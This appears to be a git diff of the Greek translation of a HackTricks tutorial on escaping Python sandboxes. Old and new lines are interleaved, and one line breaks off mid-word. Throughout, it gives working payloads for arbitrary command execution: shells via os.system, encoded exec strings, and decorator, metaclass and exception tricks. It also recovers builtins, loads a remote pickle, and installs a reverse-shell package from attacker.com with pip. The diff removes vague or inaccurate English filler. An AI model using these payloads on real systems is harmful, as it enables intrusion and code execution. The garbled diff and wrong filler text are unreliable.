* **Μοιραστείτε τα κόλπα σας στο hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
</details>

View file

@ -1,32 +1,24 @@
# Παράκαμψη αμμοδοχείων Python # Παράκαμψη αμμοθολών Python
<details> <details>
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Ειδικός Ερυθρού Συνεργείου AWS του HackTricks)</strong></a><strong>!</strong></summary>
Άλλοι τρόποι για να υποστηρίξετε το HackTricks: Άλλοι τρόποι υποστήριξης του HackTricks:
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)! * Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com) * Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family) * Ανακαλύψτε [**Την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** * **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github. * **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια στο GitHub.
</details> </details>
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure> Αυτά είναι μερικά κόλπα για την παράκαμψη των προστασιών αμμοθόλων Python και την εκτέλεση αυθαίρετων εντολών.
Βρείτε ευπάθειες που είναι πιο σημαντικές, ώστε να μπορείτε να τις διορθώσετε πιο γρήγορα. Ο Intruder παρακολουθεί την επιθετική επιφάνεια σας, εκτελεί προληπτικές απειλητικές αναζητήσεις, εντοπίζει προβλήματα σε ολόκληρο το τεχνολογικό σας στοίβα, από τις διεπαφές προς τις ιστοσελίδες και τα συστήματα στο cloud. [**Δοκιμάστε το δωρεάν**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) σήμερα.
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
***
Αυτά είναι μερικά κόλπα για την παράκαμψη των προστασιών των αμμοδοχείων Python και την εκτέλεση αυθαίρετων εντολών.
## Βιβλιοθήκες Εκτέλεσης Εντολών ## Βιβλιοθήκες Εκτέλεσης Εντολών
Το πρώτο πράγμα που πρέπει να γνωρίζετε είναι εάν μπορείτε να εκτελέσετε κώδικα απευθείας με κάποια ήδη εισαγμένη βιβλιοθήκη, ή εάν μπορείτε να εισαγάγετε οποιαδήποτε από αυτές τις βιβλιοθήκες: Το πρώτο πράγμα που πρέπει να γνωρίζετε είναι αν μπορείτε να εκτελέσετε κώδικα απευθείας με κάποια ήδη εισαγμένη βιβλιοθήκη, ή αν μπορείτε να εισάγετε οποιαδήποτε από αυτές τις βιβλιοθήκες:
```python ```python
os.system("ls") os.system("ls")
os.popen("ls").read() os.popen("ls").read()
@ -59,23 +51,7 @@ open('/var/www/html/input', 'w').write('123')
execfile('/usr/lib/python2.7/os.py') execfile('/usr/lib/python2.7/os.py')
system('ls') system('ls')
``` ```
Θυμηθείτε ότι οι συναρτήσεις _**open**_ και _**read**_ μπορούν να είναι χρήσιμες για να **διαβάσετε αρχεία** μέσα στο περιβάλλον Python και να **γράψετε κάποιον κώδικα** που μπορείτε να **εκτελέσετε** για να **παρακάμψετε** το περιβάλλον ασφαλείας. Να θυμάστε ότι οι συναρτήσεις _**open**_ και _**read**_ μπορούν να είναι χρήσιμες για **ανάγνωση αρχείων** μέσα στο python sandbox και για **εγγραφή κ
{% hint style="danger" %}
Η συνάρτηση **input()** του Python2 επιτρέπει την εκτέλεση κώδικα Python πριν το πρόγραμμα καταρρεύσει.
{% endhint %}
Το Python προσπαθεί να **φορτώσει βιβλιοθήκες από τον τρέχοντα κατάλογο πρώτα** (η παρακάτω εντολή θα εκτυπώσει από πού φορτώνει τις ενότητες ο Python): `python3 -c 'import sys; print(sys.path)'`
![](<../../../.gitbook/assets/image (552).png>)
## Παράκαμψη του sandbox του pickle με τις προεπιλεγμένες εγκατεστημένες πακέτα της Python
### Προεπιλεγμένα πακέτα
Μπορείτε να βρείτε μια **λίστα με προεγκατεστημένα** πακέτα εδώ: [https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html](https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html)\
Σημειώστε ότι από ένα pickle μπορείτε να κάνετε το περιβάλλον Python να **εισάγει αυθαίρετες βιβλιοθήκες** που είναι εγκατεστημένες στο σύστημα.\
Για παράδειγμα, το παρακάτω pickle, όταν φορτωθεί, θα εισάγει τη βιβλιοθήκη pip για να τη χρησιμοποιήσει:
```python ```python
#Note that here we are importing the pip library so the pickle is created correctly #Note that here we are importing the pip library so the pickle is created correctly
#however, the victim doesn't even need to have the library installed to execute it #however, the victim doesn't even need to have the library installed to execute it
@ -94,26 +70,26 @@ print(base64.b64encode(pickle.dumps(P(), protocol=0)))
Κόλπος κοινοποιημένος από τον **@isHaacK** Κόλπος κοινοποιημένος από τον **@isHaacK**
Εάν έχετε πρόσβαση στο `pip` ή `pip.main()`, μπορείτε να εγκαταστήσετε ένα αυθαίρετο πακέτο και να αποκτήσετε αντίστροφη κέλυφος καλώντας: Αν έχετε πρόσβαση στο `pip` ή στο `pip.main()`, μπορείτε να εγκαταστήσετε ένα αυθαίρετο πακέτο και να λάβετε αντίστροφη κέλυφος καλώντας:
```bash ```bash
pip install http://attacker.com/Rerverse.tar.gz pip install http://attacker.com/Rerverse.tar.gz
pip.main(["install", "http://attacker.com/Rerverse.tar.gz"]) pip.main(["install", "http://attacker.com/Rerverse.tar.gz"])
``` ```
Μπορείτε να κατεβάσετε το πακέτο για τη δημιουργία του αντίστροφου κελύφους εδώ. Παρακαλώ, σημειώστε ότι πριν το χρησιμοποιήσετε θα πρέπει **να αποσυμπιέσετε το αρχείο, να αλλάξετε το `setup.py` και να βάλετε τη διεύθυνση IP σας για το αντίστροφο κέλυφος**: Μπορείτε να κατεβάσετε το πακέτο για τη δημιουργία αντίστροφου κελύφους εδώ. Παρακαλώ, σημειώστε ότι πριν το χρησιμοποιήσετε θα πρέπει **να το αποσυμπιέσετε, να αλλάξετε το `setup.py`, και να βάλετε τη διεύθυνση IP σας για το αντίστροφο κέλυφος**:
{% file src="../../../.gitbook/assets/reverse.tar.gz" %} {% file src="../../../.gitbook/assets/reverse.tar.gz" %}
{% hint style="info" %} {% hint style="info" %}
Αυτό το πακέτο ονομάζεται `Reverse`. Ωστόσο, δημιουργήθηκε ειδικά έτσι ώστε όταν βγείτε από το αντίστροφο κέλυφος η υπόλοιπη εγκατάσταση θα αποτύχει, έτσι δεν θα αφήσετε **κανένα επιπλέον πακέτο python εγκατεστημένο στον διακομιστή** όταν φύγετε. Αυτό το πακέτο ονομάζεται `Reverse`. Ωστόσο, δημιουργήθηκε ειδικά έτσι ώστε όταν βγείτε από το αντίστροφο κέλυφος η υπόλοιπη εγκατάσταση θα αποτύχει, έτσι ώστε **να μην αφήσετε κανένα επιπλέον πακέτο Python εγκατεστημένο στον διακομιστή** όταν φύγετε.
{% endhint %} {% endhint %}
## Αξιολόγηση κώδικα python ## Αξιολόγηση κώδικα Python
{% hint style="warning" %} {% hint style="warning" %}
Σημειώστε ότι η exec επιτρέπει πολλαπλές συμβολοσειρές και ";", αλλά η eval δεν το επιτρέπει (ελέγξτε τον τελεστή walrus) Σημειώστε ότι το exec επιτρέπει πολλαπλές συμβολοσειρές και ";", αλλά το eval όχι (ελέγξτε τον τελεστή walrus)
{% endhint %} {% endhint %}
Εάν ορισμένοι χαρακτήρες είναι απαγορευμένοι, μπορείτε να χρησιμοποιήσετε την αναπαράσταση **hex/octal/B64** για να **παρακάμψετε** τον περιορισμό: Αν απαγορεύονται συγκεκριμένοι χαρακτήρες, μπορείτε να χρησιμοποιήσετε την αναπαράσταση **hex/octal/B64** για να **παρακάμψετε** τον περιορισμό:
```python ```python
exec("print('RCE'); __import__('os').system('ls')") #Using ";" exec("print('RCE'); __import__('os').system('ls')") #Using ";"
exec("print('RCE')\n__import__('os').system('ls')") #Using "\n" exec("print('RCE')\n__import__('os').system('ls')") #Using "\n"
@ -135,20 +111,6 @@ exec('X19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2xzJyk='.decode("base64")) #Only python2
exec(__import__('base64').b64decode('X19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2xzJyk=')) exec(__import__('base64').b64decode('X19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2xzJyk='))
``` ```
### Άλλες βιβλιοθήκες που επιτρέπουν την αξιολόγηση κώδικα Python ### Άλλες βιβλιοθήκες που επιτρέπουν την αξιολόγηση κώδικα Python
There are several other libraries that can be used to evaluate Python code. These libraries provide similar functionality to the `eval()` function but may have different features or limitations. Some of these libraries include:
- **`exec()` function**: The `exec()` function can be used to execute Python code dynamically. It allows you to execute code from a string or a code object. However, it does not return a value like `eval()` does.
- **`ast.literal_eval()` function**: The `ast.literal_eval()` function can be used to safely evaluate a string containing a Python literal (e.g., a string, number, tuple, list, dictionary, or boolean). It only evaluates literals and does not support arbitrary expressions.
- **`compile()` function**: The `compile()` function can be used to compile Python code into a code object, which can then be executed using the `exec()` function. This allows for more control over the execution process.
- **`code.InteractiveConsole` class**: The `code.InteractiveConsole` class provides an interactive console environment for executing Python code. It can be used to evaluate code entered by the user or from a file.
- **`eval()` function in restricted mode**: The `eval()` function can be used in restricted mode to limit the execution environment and prevent access to certain built-in functions and modules. This can help mitigate security risks when evaluating untrusted code.
These libraries can be useful in various scenarios where dynamic code evaluation is required. However, it is important to use them with caution, as executing untrusted code can pose security risks.
```python ```python
#Pandas #Pandas
import pandas as pd import pandas as pd
@ -162,35 +124,7 @@ df.query("@pd.read_pickle('http://0.0.0.0:6334/output.exploit')")
# Like: # Like:
df.query("@pd.annotations.__class__.__init__.__globals__['__builtins__']['eval']('print(1)')") df.query("@pd.annotations.__class__.__init__.__globals__['__builtins__']['eval']('print(1)')")
``` ```
## Τελεστές και συντομεύσεις ## Τελεστές και σύντομα κόλπα
In Python, there are several operators and short tricks that can be used to bypass Python sandboxes and execute arbitrary code. These techniques can be useful for penetration testers and hackers looking to exploit vulnerabilities in Python-based applications.
### Arithmetic Operators
Arithmetic operators such as `+`, `-`, `*`, `/`, `%`, `**`, and `//` can be used to perform mathematical operations in Python. These operators can also be used to execute arbitrary code by manipulating the operands and taking advantage of the sandbox's limitations.
### Comparison Operators
Comparison operators such as `==`, `!=`, `>`, `<`, `>=`, and `<=` can be used to compare values in Python. These operators can also be used to execute arbitrary code by crafting comparisons that result in desired behavior.
### Logical Operators
Logical operators such as `and`, `or`, and `not` can be used to perform logical operations in Python. These operators can also be used to execute arbitrary code by leveraging short-circuit evaluation and exploiting the sandbox's restrictions.
### Bitwise Operators
Bitwise operators such as `&`, `|`, `^`, `~`, `<<`, and `>>` can be used to perform bitwise operations in Python. These operators can also be used to execute arbitrary code by manipulating bits and taking advantage of the sandbox's limitations.
### Assignment Operators
Assignment operators such as `=`, `+=`, `-=`, `*=`, `/=`, `%=`, `**=`, `//=`, `&=`, `|=`, `^=`, `<<=`, and `>>=` can be used to assign values to variables in Python. These operators can also be used to execute arbitrary code by combining them with other operators and manipulating the operands.
### Short Tricks
There are several short tricks that can be used to bypass Python sandboxes and execute arbitrary code. These tricks include using the `eval()` function, using the `exec()` function, using the `__import__()` function, using the `getattr()` function, using the `setattr()` function, using the `delattr()` function, using the `type()` function, using the `globals()` function, using the `locals()` function, and using the `__builtins__` module.
By understanding and utilizing these operators and short tricks, hackers and penetration testers can effectively bypass Python sandboxes and exploit vulnerabilities in Python-based applications.
```python ```python
# walrus operator allows generating variable inside a list # walrus operator allows generating variable inside a list
## everything will be executed in order ## everything will be executed in order
@ -201,7 +135,7 @@ By understanding and utilizing these operators and short tricks, hackers and pen
``` ```
## Παράκαμψη προστασιών μέσω κωδικοποιήσεων (UTF-7) ## Παράκαμψη προστασιών μέσω κωδικοποιήσεων (UTF-7)
Στο [**αυτό το άρθρο**](https://blog.arkark.dev/2022/11/18/seccon-en/#misc-latexipy) χρησιμοποιείται η UTF-7 για να φορτωθεί και να εκτελεστεί αυθαίρετος κώδικας Python μέσα σε ένα φαινομενικό χώρο ασφαλείας: Στο [**συγκεκριμένο άρθρο**](https://blog.arkark.dev/2022/11/18/seccon-en/#misc-latexipy) χρησιμοποιείται το UTF-7 για τη φόρτωση και εκτέλεση αυθαίρετου κώδικα Python μέσα σε ένα φαινομενικό χώρο ασφαλείας:
```python ```python
assert b"+AAo-".decode("utf_7") == "\n" assert b"+AAo-".decode("utf_7") == "\n"
@ -212,11 +146,11 @@ return x
#+AAo-print(open("/flag.txt").read()) #+AAo-print(open("/flag.txt").read())
""".lstrip() """.lstrip()
``` ```
Είναι επίσης δυνατό να το παρακάμψετε χρησιμοποιώντας άλλες κωδικοποιήσεις, όπως `raw_unicode_escape` και `unicode_escape`. Είναι επίσης δυνατόν να το παρακάμψετε χρησιμοποιώντας άλλες κωδικοποιήσεις, π.χ. `raw_unicode_escape` και `unicode_escape`.
## Εκτέλεση Python χωρίς κλήσεις ## Εκτέλεση Python χωρίς κλήσεις
Εάν βρίσκεστε μέσα σε ένα φυλακισμένο περιβάλλον Python που **δεν σας επιτρέπει να κάνετε κλήσεις**, υπάρχουν ακόμα κάποιοι τρόποι για να **εκτελέσετε αυθαίρετες συναρτήσεις, κώδικα** και **εντολές**. Αν βρίσκεστε μέσα σε ένα φυλακισμένο περιβάλλον Python που **δεν σάς επιτρέπει να κάνετε κλήσεις**, υπάρχουν ακόμα κάποιοι τρόποι για να **εκτελέσετε αυθαίρετες λειτουργίες, κώδικα** και **εντολές**.
### RCE με [διακοσμητές](https://docs.python.org/3/glossary.html#term-decorator) ### RCE με [διακοσμητές](https://docs.python.org/3/glossary.html#term-decorator)
```python ```python
@ -240,13 +174,13 @@ X = exec(X)
@'__import__("os").system("sh")'.format @'__import__("os").system("sh")'.format
class _:pass class _:pass
``` ```
### Δημιουργία αντικειμένων και υπερφόρτωση για RCE ### RCE δημιουργώντας αντικείμενα και υπερφόρτωση
Αν μπορείτε να **δηλώσετε μια κλάση** και να **δημιουργήσετε ένα αντικείμενο** από αυτήν την κλάση, μπορείτε να **γράψετε/υπερφορτώσετε διάφορες μεθόδους** που μπορούν να **εκτελεστούν** **χωρίς** να χρειάζεται να τις καλέσετε απευθείας. Αν μπορείτε να **δηλώσετε μια κλάση** και **να δημιουργήσετε ένα αντικείμενο** από αυτή την κλάση, μπορείτε **να γράψετε/υπερφορτώσετε διαφορετικές μεθόδους** που μπορούν να **ενεργοποιηθούν** **χωρίς** την **ανάγκη να κληθούν απευθείας**.
#### RCE με προσαρμοσμένες κλάσεις #### RCE με προσαρμοσμένες κλάσεις
Μπορείτε να τροποποιήσετε ορισμένες **μεθόδους κλάσης** (_με την υπερφόρτωση υπαρχουσών μεθόδων κλάσης ή τη δημιουργία μιας νέας κλάσης_) για να τις κάνετε να **εκτελούν αυθαίρετο κώδικα** όταν **ενεργοποιούνται** χωρίς να τις καλείτε απευθείας. Μπορείτε να τροποποιήσετε μερικές **μεθόδους κλάσης** (_με την υπερφόρτωση υπαρχουσών μεθόδων κλάσης ή δημιουργώντας μια νέα κλάση_) για να τις κάνετε να **εκτελούν αυθαίρετο κώδικα** όταν **ενεργοποιηθούν** χωρίς να κληθούν απευθείας.
```python ```python
# This class has 3 different ways to trigger RCE without directly calling any function # This class has 3 different ways to trigger RCE without directly calling any function
class RCE: class RCE:
@ -298,7 +232,7 @@ __ixor__ (k ^= 'import os; os.system("sh")')
``` ```
#### Δημιουργία αντικειμένων με [μετακλάσεις](https://docs.python.org/3/reference/datamodel.html#metaclasses) #### Δημιουργία αντικειμένων με [μετακλάσεις](https://docs.python.org/3/reference/datamodel.html#metaclasses)
Το κύριο πράγμα που μας επιτρέπουν οι μετακλάσεις είναι να **δημιουργήσουμε ένα αντικείμενο μιας κλάσης, χωρίς να καλέσουμε απευθείας τον κατασκευαστή**, δημιουργώντας μια νέα κλάση με την κατασταλτική κλάση ως μετακλάση. Το κύριο πράγμα που μας επιτρέπουν οι μετακλάσεις είναι **να δημιουργήσουμε μια πρότυπη κλάση, χωρίς να καλέσουμε τον κατασκευαστή** απευθείας, δημιουργώντας μια νέα κλάση με την επιθυμητή κλάση ως μετακλάση.
```python ```python
# Code from https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/ and fixed # Code from https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/ and fixed
# This will define the members of the "subclass" # This will define the members of the "subclass"
@ -315,7 +249,7 @@ Sub['import os; os.system("sh")']
``` ```
#### Δημιουργία αντικειμένων με εξαιρέσεις #### Δημιουργία αντικειμένων με εξαιρέσεις
Όταν προκαλείται μια **εξαίρεση**, δημιουργείται ένα αντικείμενο της **Exception** χωρίς να χρειάζεται να καλέσετε απευθείας τον κατασκευαστή (ένα κόλπος από τον [**@\_nag0mez**](https://mobile.twitter.com/\_nag0mez)): Όταν **ενεργοποιείται μια εξαίρεση**, δημιουργείται ένα αντικείμενο της **Εξαίρεσης** χωρίς να χρειάζεται να καλέσετε τον κατασκευαστή απευθείας (ένα κόλπος από τον [**@\_nag0mez**](https://mobile.twitter.com/\_nag0mez)):
```python ```python
class RCE(Exception): class RCE(Exception):
def __init__(self): def __init__(self):
@ -336,36 +270,6 @@ k + 'import os; os.system("sh")' #RCE abusing __add__
## You can also use the tricks from the previous section to get RCE with this object ## You can also use the tricks from the previous section to get RCE with this object
``` ```
### Περισσότερες RCE ### Περισσότερες RCE
Σε αυτήν την ενότητα θα εξετάσουμε μερικές επιπλέον τεχνικές για την επίτευξη απομακρυσμένης εκτέλεσης κώδικα (RCE).
#### 1. Αποφυγή Python Sandboxes
Οι Python Sandboxes είναι μηχανισμοί ασφαλείας που περιορίζουν τις δυνατότητες εκτέλεσης κώδικα σε ένα περιβάλλον Python. Ωστόσο, υπάρχουν τρόποι για να παρακάμψουμε αυτούς τους μηχανισμούς και να επιτύχουμε RCE.
Μερικές από τις τεχνικές που μπορούμε να χρησιμοποιήσουμε είναι:
- Αξιοποίηση αδυναμιών στον μηχανισμό ασφαλείας της Python Sandbox.
- Χρήση ευπάθειας στην υλοποίηση της Python Sandbox.
- Αποφυγή των περιορισμών της Python Sandbox με τη χρήση εξωτερικών βιβλιοθηκών ή εργαλείων.
#### 2. Αποφυγή Ανίχνευσης
Για να επιτύχουμε RCE, είναι σημαντικό να αποφύγουμε την ανίχνευση από τα συστήματα ασφαλείας. Μερικοί τρόποι για να το πετύχουμε είναι:
- Κρυπτογράφηση της επικοινωνίας μας για να μην είναι αναγνώσιμη από τα IDS/IPS συστήματα.
- Αποφυγή της χρήσης γνωστών σημάτων και συμπεριφορών που μπορεί να εντοπίσουν τα IDS/IPS συστήματα.
- Χρήση τεχνικών όπως το γκρίζο κουτί ή το μαύρο κουτί για να αποφύγουμε την ανίχνευση.
#### 3. Εκμετάλλευση Ευπαθειών
Για να επιτύχουμε RCE, πρέπει να εκμεταλλευτούμε ευπάθειες στο σύστημα ή την εφαρμογή που επιθυμούμε να επιτεθούμε. Μερικές από τις ευπάθειες που μπορούμε να εκμεταλλευτούμε είναι:
- Ευπάθειες στο λειτουργικό σύστημα.
- Ευπάθειες στις εφαρμογές που εκτελούνται στο σύστημα.
- Ευπάθειες στις βιβλιοθήκες που χρησιμοποιούνται από το σύστημα ή την εφαρμογή.
Με τη χρήση αυτών των τεχνικών, μπορούμε να επιτύχουμε RCE και να αποκτήσουμε πλήρη έλεγχο ενός συστήματος ή μιας εφαρμογής.
```python ```python
# From https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/ # From https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/
# If sys is imported, you can sys.excepthook and trigger it by triggering an error # If sys is imported, you can sys.excepthook and trigger it by triggering an error
@ -387,19 +291,7 @@ __iadd__ = eval
__builtins__.__import__ = X __builtins__.__import__ = X
{}[1337] {}[1337]
``` ```
### Διάβασμα αρχείου με τη βοήθεια των builtins help & license ### Διαβάστε το αρχείο με τη βοήθεια των builtins & την άδεια χρήσης
Για να διαβάσετε ένα αρχείο χρησιμοποιώντας τις builtins help & license, μπορείτε να ακολουθήσετε τα παρακάτω βήματα:
1. Χρησιμοποιήστε τη συνάρτηση `help()` για να πάρετε πληροφορίες σχετικά με τη χρήση της built-in συνάρτησης `open()`. Μπορείτε να το κάνετε αυτό εκτελώντας την εντολή `help(open)` στο περιβάλλον Python.
2. Ανοίξτε το αρχείο που θέλετε να διαβάσετε χρησιμοποιώντας τη συνάρτηση `open()`. Για παράδειγμα, μπορείτε να χρησιμοποιήσετε την εντολή `file = open('filename.txt', 'r')` για να ανοίξετε ένα αρχείο με όνομα "filename.txt" σε λειτουργία ανάγνωσης.
3. Χρησιμοποιήστε τη μέθοδο `read()` για να διαβάσετε το περιεχόμενο του αρχείου. Μπορείτε να το κάνετε αυτό εκτελώντας την εντολή `content = file.read()`.
4. Κλείστε το αρχείο με τη μέθοδο `close()`. Μπορείτε να το κάνετε αυτό εκτελώντας την εντολή `file.close()`.
Με αυτόν τον τρόπο, μπορείτε να διαβάσετε το περιεχόμενο ενός αρχείου χρησιμοποιώντας τις builtins help & license στη γλώσσα προγραμματισμού Python.
```python ```python
__builtins__.__dict__["license"]._Printer__filenames=["flag"] __builtins__.__dict__["license"]._Printer__filenames=["flag"]
a = __builtins__.help a = __builtins__.help
@ -408,30 +300,22 @@ a.__class__.__exit__ = lambda self, *args: None
with (a as b): with (a as b):
pass pass
``` ```
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
Βρείτε ευπάθειες που είναι πιο σημαντικές, ώστε να μπορείτε να τις διορθώσετε πιο γρήγορα. Το Intruder παρακολουθεί την επιθετική επιφάνεια σας, εκτελεί προληπτικές απειλητικές αναζητήσεις, εντοπίζει προβλήματα σε ολόκληρο το τεχνολογικό σας στοίβα, από τις διεπαφές προγραμματισμού εφαρμογών (APIs) μέχρι τις ιστοσελίδες και τα συστήματα στον νέφος. [**Δοκιμάστε το δωρεάν**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) σήμερα.
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
***
## Ενσωματωμένες Συναρτήσεις ## Ενσωματωμένες Συναρτήσεις
* [**Ενσωματωμένες συναρτήσεις της Python 2**](https://docs.python.org/2/library/functions.html) * [**Ενσωματωμένες συναρτήσεις της python2**](https://docs.python.org/2/library/functions.html)
* [**Ενσωματωμένες συναρτήσεις της Python 3**](https://docs.python.org/3/library/functions.html) * [**Ενσωματωμένες συναρτήσεις της python3**](https://docs.python.org/3/library/functions.html)
Εάν έχετε πρόσβαση στο αντικείμενο **`__builtins__`**, μπορείτε να εισαγάγετε βιβλιοθήκες (σημειώστε ότι μπορείτε επίσης να χρησιμοποιήσετε εδώ και άλλη αναπαράσταση συμβολοσειράς που παρουσιάζεται στην τελευταία ενότητα): Εάν μπορείτε να έχετε πρόσβαση στο αντικείμενο **`__builtins__`** μπορείτε να εισάγετε βιβλιοθήκες (σημειώστε ότι θα μπορούσατε επίσης να χρησιμοποιήσετε εδώ και άλλη αναπαράσταση συμβολοσειράς που εμφανίζεται στην τελευταία ενότητα):
```python ```python
__builtins__.__import__("os").system("ls") __builtins__.__import__("os").system("ls")
__builtins__.__dict__['__import__']("os").system("ls") __builtins__.__dict__['__import__']("os").system("ls")
``` ```
### Χωρίς Ενσωματωμένες Συναρτήσεις ### Χωρίς Builtins
Όταν δεν έχετε το `__builtins__`, δεν θα μπορείτε να εισάγετε οτιδήποτε ούτε να διαβάσετε ή να γράψετε αρχεία, καθώς **όλες οι παγκόσμιες συναρτήσεις** (όπως `open`, `import`, `print`...) **δεν φορτώνονται**.\ Όταν δεν έχετε `__builtins__` δεν θα μπορείτε να εισάγετε τίποτα ούτε να διαβάσετε ή να γράψετε αρχεία καθώς **όλες οι γενικές συναρτήσεις** (όπως `open`, `import`, `print`...) **δεν φορτώνονται**.\
Ωστόσο, **από προεπιλογή η Python εισάγει πολλά αρθρώματα στη μνήμη**. Αυτά τα αρθρώματα μπορεί να φαίνονται αθώα, αλλά μερικά από αυτά **εισάγουν επίσης επικίνδυνες** λειτουργίες μέσα τους που μπορούν να χρησιμοποιηθούν για να εκτελεστεί ακόμα και **αυθαίρετος κώδικας**. Ωστόσο, **από προεπιλογή το Python εισάγει πολλά modules στη μνήμη**. Αυτά τα modules μπορεί να φαίνονται αθώα, αλλά μερικά από αυτά **εισάγουν και επικίνδυνες** λειτουργίες μέσα σε αυτά που μπορούν να προσπελαστούν για να επιτευχθεί ακόμα και **αυθαίρετη εκτέλεση κώδικα**.
Στα παρακάτω παραδείγματα μπορείτε να δείτε πώς να **καταχραστείτε** μερικά από αυτά τα "**αθώα**" αρθρώματα που φορτώνονται για να **έχετε πρόσβαση** σε **επικίνδυνες** **λειτουργίες** μέσα τους. Στα παρακάτω παραδείγματα μπορείτε να παρατηρήσετε πως να **καταχραστείτε** μερικά από αυτά τα "**αθώα**" modules που φορτώνονται για να **έχετε πρόσβαση** σε **επικίνδυνες** **λειτουργίες** μέσα σε αυτά.
**Python2** **Python2**
```python ```python
@ -455,19 +339,6 @@ import __builtin__
get_flag.__globals__['__builtins__']['__import__']("os").system("ls") get_flag.__globals__['__builtins__']['__import__']("os").system("ls")
``` ```
#### Python3 #### Python3
Ο Python3 είναι μια δημοφιλής γλώσσα προγραμματισμού που χρησιμοποιείται ευρέως για την ανάπτυξη λογισμικού. Ωστόσο, μερικές φορές μπορεί να υπάρξουν περιορισμοί στην εκτέλεση κώδικα Python3, όπως οι αμμοδοχεία (sandboxes) Python.
#### Παράκαμψη αμμοδοχείων Python
Η παράκαμψη των αμμοδοχείων Python μπορεί να επιτευχθεί με διάφορους τρόπους. Ορισμένες από τις τεχνικές που μπορούν να χρησιμοποιηθούν περιλαμβάνουν:
- Χρήση ευπάθειας της Python για να παρακάμψετε τα αμμοδοχεία.
- Χρήση εξωτερικών βιβλιοθηκών για να παρακάμψετε τα αμμοδοχεία.
- Χρήση εκτελέσιμων αρχείων για να παρακάμψετε τα αμμοδοχεία.
- Χρήση τεχνικών όπως το DLL injection για να παρακάμψετε τα αμμοδοχεία.
Είναι σημαντικό να σημειωθεί ότι η παράκαμψη αμμοδοχείων Python είναι μια παράνομη δραστηριότητα και μπορεί να έχει νομικές συνέπειες. Πριν προχωρήσετε σε οποιαδήποτε προσπάθεια παράκαμψης αμμοδοχείων, πρέπει να εξασφαλίσετε ότι έχετε την απαραίτητη άδεια και να τηρείτε τους νόμους και τους κανονισμούς που ισχύουν στην περιοχή σας.
```python ```python
# Obtain builtins from a globally defined function # Obtain builtins from a globally defined function
# https://docs.python.org/3/library/functions.html # https://docs.python.org/3/library/functions.html
@ -494,37 +365,7 @@ get_flag.__globals__['__builtins__']
__builtins__= [x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == 'catch_warnings'][0]()._module.__builtins__ __builtins__= [x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == 'catch_warnings'][0]()._module.__builtins__
__builtins__["__import__"]('os').system('ls') __builtins__["__import__"]('os').system('ls')
``` ```
### Φορτία Builtins ### Φορτία ενσωματωμένων λειτουργιών
Οι φορτίες Builtins είναι μια τεχνική που χρησιμοποιείται για να παρακάμψει τις αμμοθύρες της Python και να εκτελέσει κακόβουλο κώδικα. Αυτή η τεχνική εκμεταλλεύεται την ικανότητα της Python να εισάγει δυναμικά modules και να καλεί built-in functions.
